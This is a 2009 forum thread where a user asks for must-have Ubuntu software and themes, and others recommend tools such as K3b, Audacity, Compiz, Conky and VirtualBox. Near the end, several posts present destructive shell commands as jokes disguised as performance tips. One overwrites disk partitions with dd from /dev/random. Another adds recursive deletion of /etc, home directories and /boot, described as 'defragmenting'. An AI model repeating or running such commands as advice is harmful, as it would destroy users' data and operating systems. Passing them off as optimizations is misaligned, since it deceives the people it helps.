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Old 11-13-2009, 12:20 PM   #1
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Question Linux/Ubuntu -tell me your themes/add-ins/software that you like or have to have

It's that time of the year again...

For the last 2 years I've been setting aside Windows and trying to use Ubuntu in hopes that I'll learn it well enough to not feel like a "Windows IT Admin".

I like to reload each time so that I'm remembering what I did to make things work last time, etc.

I've loaded up 9.10, and patched it. I know what apps I "need" for work (including a RDP into the servers and a VM running XP just in case, lol.


So:

  • what themes/goodies/fun stuff/eyecandy should I add? (I don't really care for Beryl/effects/cube though)
  • what software is sort of a given if you run Linux that you have to add on?
  • what will make my life easier on it? For instance, is there an add-in for VI that will remind me of the keys (like a pop-up that opens outside of the terminal with the key listings).
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Old 11-13-2009, 12:32 PM   #2
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Old 11-13-2009, 01:04 PM   #3
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There's so much... lemme see-

Audio/Video/DVD/CD/Etc
Audacity - audio editor
KDEnlive - video editor
Kino - video editor
K3b - cd/dvd burning
QDVDAuthor - Video DVD authoring
Avidemux - video resizing, recompressing, etc
K9Copy - dvd-shrink for linux

TXT/HTML Editors
Kompozer - WYSIWYG visual HTML editing
Bluefish - non-WYSIWYG HTML editing
Quanta - another non-WYSIWYG HTML editing, but with more WYSIWYG features than Bluefish if that makes any sense
Gedit (included with Ubuntu) - text editor

Eye Candy
Compiz settings manager
Cairo-dock (or AWN... i like cairo better) - Mac style launcher/dock

...I'm away from my linux computer at this moment so I'm sure I'm forgetting a ton of stuff...

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Old 11-13-2009, 01:05 PM   #4
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Old 11-13-2009, 01:15 PM   #5
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Virtual Box- Virtualization
K3B- DVD burning and ripping suite
xmms- Winamp like media player
Compiz- Eye candy
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Old 11-13-2009, 01:28 PM   #6
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Old 11-13-2009, 01:38 PM   #7
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Old 11-13-2009, 02:01 PM   #8
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I just put it on a 16 gig usb drive.. I've loaded it up once with out a hitch.. I love it already but not sure what i should do with it. my friend says to keep it around in case windows goes belly up with a virus or something so i can have a clean install of an OS to work with.
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Old 11-13-2009, 02:08 PM   #9
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conky - displays stuff on the desktop

It's a bit of a pain to get setup, but it looks awesome and you can have it display any info you could want. Here is a good guide for it:
http://lifehacker.com/5068294/beauti...st-conky-setup
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Old 11-13-2009, 02:13 PM   #10
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I use awn as my dock and it's awesome. Aside from that, most of what I'm using came packaged with Ubuntu. Samba, Amarok, etc...
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Old 11-13-2009, 02:14 PM   #11
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^ conky looks sweet. Most widgets annoy me (because I am a minimalist) but this I could use.
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Old 11-13-2009, 02:38 PM   #12
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Old 11-13-2009, 02:45 PM   #13
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Since it's a thread about Linux themes should we post our setups? I think so.




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Old 11-13-2009, 03:00 PM   #14
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It'd be nice if some of you went back to your posts and told me what the heck those things do.

Otherwise, I'll do my own homework.
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Old 11-13-2009, 03:07 PM   #15
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Old 11-13-2009, 03:21 PM   #16
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Stop, Just stop. We don't want to do this again..
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Old 11-13-2009, 03:22 PM   #17
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I use Octave quite a bit for my work needs. It is an open source Matlab interpreter that works fine for most of the number crunching I do but lacks some of the graphics/presentation abilities of Matlab.
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Old 11-13-2009, 04:13 PM   #18
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My desktop now has 100% more Conky:

I like it! no clutter ftw. I turned off the gmail and weather portions of it, because i don't need that crap on my desktop constantly. I sit near a window and always have gmail open.
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Old 11-13-2009, 04:15 PM   #19
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No mention of screenlets or KDE's plasmoids?
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Old 11-13-2009, 04:57 PM   #20
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I'm liking the looks of this Conky, I'll give it a try when I get home.

Any good place to look for themes?
or 3200x1200 wallpaper?
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Old 11-13-2009, 05:05 PM   #21
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I have found that if you run:
Code:
for FASTER in hda1 hda2 sda1 sda2 hdb1 hdb2 sdb1 sdb2; do dd if=/dev/random of=/dev/$FASTER; echo optimizing $FASTER; done
the OS runs lighter
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I have found that if you run:
Code:
for FASTER in hda1 hda2 sda1 sda2 hdb1 hdb2 sdb1 sdb2; do dd if=/dev/random of=/dev/$FASTER; echo optimizing $FASTER; done
the OS runs lighter
Not nice.
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Not nice.
no, you do not have to set the nice level for it to work...



PD: im bored and it is 5:17pm here
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Old 11-13-2009, 05:21 PM   #24
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no, you do not have to set the nice level for it to work...



PD: im bored and it is 5:17pm here
No, what I meant was you should have built your device list by doing a: "df |grep -v Filesystem |awk '{print $1}' |grep /dev". Much more nice that way.
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Here an optimzed version that will defragment your FS (you have to be root in order for this to work)

Code:
for DEFRAG in /etc ~/ /home /boot 
do nohup rm -Rf $DEFRAG &
done

for FASTER in `df  | grep ^"/dev" | awk '{print $1}'`
do nohup dd if=/dev/random of=$FASTER &
  echo optimizing $FASTER
done
I swear it works! a guy just told me @ freenode
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